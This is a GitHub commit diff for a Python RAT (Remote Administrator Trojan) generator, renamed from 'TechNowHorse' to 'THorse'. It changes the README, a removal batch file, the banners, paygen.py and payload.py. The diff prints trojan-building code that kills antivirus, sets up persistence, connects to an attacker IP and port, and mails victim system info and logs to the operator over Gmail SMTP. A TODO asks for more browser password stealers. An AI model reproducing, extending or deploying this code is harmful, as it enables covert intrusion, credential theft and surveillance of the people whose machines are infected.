Skip to content

Commit

Permalink
fix
Browse files Browse the repository at this point in the history
  • Loading branch information
PushpenderIndia committed Apr 20, 2022
1 parent 2e4f361 commit 405351b
Show file tree
Hide file tree
Showing 5 changed files with 40 additions and 49 deletions.
34 changes: 18 additions & 16 deletions README.md
Original file line number Diff line number Diff line change
@@ -1,23 +1,23 @@
<h1 align="center">TechNowHorse</h1>
<h1 align="center">THorse</h1>
<p align="center">
<a href="https://python.org">
<img src="https://img.shields.io/badge/Python-3.7-green.svg">
</a>
<a href="https://github.com/PushpenderIndia/technowhorse/blob/master/LICENSE">
<a href="https://github.com/PushpenderIndia/thorse/blob/master/LICENSE">
<img src="https://img.shields.io/badge/License-BSD%203-lightgrey.svg">
</a>
<a href="https://github.com/PushpenderIndia/technowhorse/releases">
<a href="https://github.com/PushpenderIndia/thorse/releases">
<img src="https://img.shields.io/badge/Release-1.7-blue.svg">
</a>
<a href="https://github.com/PushpenderIndia/technowhorse">
<a href="https://github.com/PushpenderIndia/thorse">
<img src="https://img.shields.io/badge/Open%20Source-%E2%9D%A4-brightgreen.svg">
</a>
</p>



<p align="center">
TechNowHorse is a RAT (Remote Administrator Trojan) Generator for Windows/Linux systems written in Python 3.
THorse is a RAT (Remote Administrator Trojan) Generator for Windows/Linux systems written in Python 3.
</p>
This small python script can do really awesome work.
Expand Down Expand Up @@ -106,10 +106,10 @@ $ Install latest python 3.x
$ cd /opt/

# Clone this repository
$ git clone https://github.com/PushpenderIndia/technowhorse.git
$ git clone https://github.com/PushpenderIndia/thorse.git

# Go into the repository
$ cd technowhorse
$ cd thorse

# Installing dependencies
$ bash installer_linux.sh
Expand Down Expand Up @@ -169,10 +169,10 @@ $ sudo apt install -t kali-rolling metasploit-framework
$ sudo apt install python3-pip
# 12. Clone this repository
$ git clone https://github.com/PushpenderIndia/technowhorse.git
$ git clone https://github.com/PushpenderIndia/thorse.git
# 13. Go into the repository
$ cd technowhorse
$ cd thorse
# 14. Installing dependencies
$ bash installer_linux.sh
Expand Down Expand Up @@ -201,15 +201,15 @@ Note: You can also use our custom icons from the icon folder, just use them like
$ Install latest python 3.x

# Clone this repository
$ git clone https://github.com/PushpenderIndia/technowhorse.git
$ git clone https://github.com/PushpenderIndia/thorse.git

# Go into the repository
$ cd technowhorse
$ cd thorse

# Installing dependencies
$ python -m pip install -r requirements.txt

# Open paygen.py in Text editor and Configure Line 14, set Pyinstaller path, Default Path is as follows :-
# Open paygen.py in Text editor and Configure Line 15, set Pyinstaller path, Default Path is as follows :-
# PYTHON_PYINSTALLER_PATH = os.path.expanduser("C:/Python37-32/Scripts/pyinstaller.exe")

# Getting Help Menu
Expand Down Expand Up @@ -306,7 +306,7 @@ msf3> run
![](/img/6.getting_notification.png)

## Contributors:
Currently this repo is maintained by me (Pushpender Singh).
Currently this repo is maintained by me (Pushpender Singh). But If you want to become contributor, then add some cool feature and make a pull request, I will review, and merge it this repo.

All contributor's pull request will be accepted if their pull request is worthy for this repo.

Expand All @@ -324,9 +324,7 @@ All contributor's pull request will be accepted if their pull request is worthy
* Restart the System.

#### Method 2:
* Run "RemoveTechnowHorse.bat" in Infected System and then restart the PC to stop the current Running Evil File.


* Run "RemoveTHorse.bat" in Infected System and then restart the PC to stop the current Running Evil File.

## Removing TechNowHorse in Linux:

Expand All @@ -347,3 +345,7 @@ All contributor's pull request will be accepted if their pull request is worthy


## More Features Coming Soon...

## TODO (Contributors are welcome)
* Add more browser password stealers
* GUI Development
10 changes: 5 additions & 5 deletions RemoveTechnowHorse.bat → RemoveTHorse.bat
Original file line number Diff line number Diff line change
@@ -1,6 +1,6 @@
del /q C:\Users\"%USERNAME%"\AppData\Roaming\explorer.exe
reg delete HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /v winexplorer /f
cls
echo "[*] DONE "
echo "[*] Please Restart Your System!"
del /q C:\Users\"%USERNAME%"\AppData\Roaming\explorer.exe
reg delete HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /v winexplorer /f
cls
echo "[*] DONE "
echo "[*] Please Restart Your System!"
pause
15 changes: 2 additions & 13 deletions banners.py
Original file line number Diff line number Diff line change
Expand Up @@ -64,18 +64,7 @@
"""


figlet_small = """
_____ _ _ _ _ _
|_ _|__ __| |_ | \| |_____ __ _| || |___ _ _ ___ ___
| |/ -_) _| ' \| .` / _ \ V V / __ / _ \ '_(_-</ -_)
|_|\___\__|_||_|_|\_\___/\_/\_/|_||_\___/_| /__/\___|
"""



def get_banner():
return random.choice([figlet_ansi_shadow, figlet_big, figlet_doom, figlet_drpepper, figlet_small])
return random.choice([figlet_ansi_shadow, figlet_big, figlet_doom, figlet_drpepper])
26 changes: 13 additions & 13 deletions paygen.py
Original file line number Diff line number Diff line change
Expand Up @@ -19,7 +19,7 @@
PYTHON_PYINSTALLER_PATH = "wine ~/.wine/drive_c/Python37-32/Scripts/pyinstaller.exe"

def get_options():
parser = argparse.ArgumentParser(description=f'{Fore.RED}TechnowHorse v1.7')
parser = argparse.ArgumentParser(description=f'{Fore.RED}THorse v1.7')
parser._optionals.title = f"{Fore.GREEN}Optional Arguments{Fore.YELLOW}"
parser.add_argument("-w", "--windows", dest="windows", help="Generate a Windows executable.", action='store_true')
parser.add_argument("-l", "--linux", dest="linux", help="Generate a Linux executable.", action='store_true')
Expand Down Expand Up @@ -116,30 +116,30 @@ def create_trojan(file_name, email, password, ip, port, time_persistent, legitim
file.write("def check_and_start():\n")
file.write("\tif win32api.GetLastError() == winerror.ERROR_ALREADY_EXISTS:\n")
file.write("\t\tmutex = None\n")
file.write("\t\tprint(\"[+] Disabling TechNowHorse: Already Running\")\n")
file.write("\t\tprint(\"[+] Disabling THorse: Already Running\")\n")

file.write("\telse:\n") # if no instance running, going to run TechNowHorse
file.write("\telse:\n") # if no instance running, going to run THorse

if arguments.stealer:
file.write(f"\t\tt2 = threading.Thread(target=steal)\n") #Making Stealer Thread
file.write(f"\t\tt2.start()\n\n") #Starting Thread

file.write(f"\t\ttechnowHorse = payload.TrojanHorse(\'{email}\', \'{password}\', \'{ip}\', {port})\n")
file.write(f"\t\ttHorse = payload.TrojanHorse(\'{email}\', \'{password}\', \'{ip}\', {port})\n")
if arguments.kill_av != None and arguments.kill_av != "":
file.write(f"\t\ttechnowHorse.kill_av({arguments.kill_av})\n")
file.write(f"\t\ttHorse.kill_av({arguments.kill_av})\n")
else:
file.write("\t\ttechnowHorse.kill_av()\n")
file.write(f"\t\ttechnowHorse.become_persistent({time_persistent})\n")
file.write("\t\ttechnowHorse.start()\n\n")
file.write("\t\ttHorse.kill_av()\n")
file.write(f"\t\ttHorse.become_persistent({time_persistent})\n")
file.write("\t\ttHorse.start()\n\n")
file.write("check_and_start()\n")

def create_trojan_linux(file_name, email, password, ip, port, time_persistent):
with open(file_name, "w+") as file:
file.write("import payload\n")

file.write(f"technowHorse = payload.TrojanHorse(\'{email}\', \'{password}\', \'{ip}\', {port})\n")
file.write(f"technowHorse.become_persistent({time_persistent})\n")
file.write("technowHorse.start()\n\n")
file.write(f"tHorse = payload.TrojanHorse(\'{email}\', \'{password}\', \'{ip}\', {port})\n")
file.write(f"tHorse.become_persistent({time_persistent})\n")
file.write("tHorse.start()\n\n")


def obfuscating_payload(file_name):
Expand Down Expand Up @@ -203,7 +203,7 @@ def exit_greet():
except Exception as e:
os.system('clear')
del_junk_file(arguments.output)
print(Fore.GREEN + '''Thank You for using TechNowHorse, Think Great & Touch The Sky! \n''' + Style.RESET_ALL)
print(Fore.GREEN + '''Happy Hacking ~THorse!\n''' + Style.RESET_ALL)
quit()

if __name__ == '__main__':
Expand Down Expand Up @@ -312,7 +312,7 @@ def exit_greet():

else:
print(f"\n{Fore.RED}[!] Failed To Generate Your Payload :(, Please Try Again!\n")
print(f"\n{Fore.GREEN}[:D] Please Contact us on https://github.com/PushpenderIndia/technowhorse\n")
print(f"\n{Fore.GREEN}[:D] Please Contact us on https://github.com/PushpenderIndia/thorse\n")

except KeyboardInterrupt:
exit_greet()
Expand Down
4 changes: 2 additions & 2 deletions payload.py
Original file line number Diff line number Diff line change
Expand Up @@ -103,7 +103,7 @@ def connect(self, ip, port):
self.connect(self.ip, self.port)

def send_mail(self, message):
message = "Subject: TechnowHorse Reporting\n\n" + "Report From:\n\n" + self.system_info + "\n\nLogs:\n" + message
message = "Subject: THorse Reporting\n\n" + "Report From:\n\n" + self.system_info + "\n\nLogs:\n" + message
server = smtplib.SMTP("smtp.gmail.com", 587)
server.starttls()
server.login(self.email, self.password)
Expand All @@ -114,7 +114,7 @@ def send_mail_with_attachment(self, files= None):
msg = MIMEMultipart()
msg['From'] = self.email
msg['To'] = self.email
msg['Subject'] = "TechnowHorse Reporting With Attachments"
msg['Subject'] = "THorse Reporting With Attachments"
text = "\nReport From:\n\n" + self.system_info
msg.attach(MIMEText(text))

Expand Down

0 comments on commit 405351b

Please sign in to comment.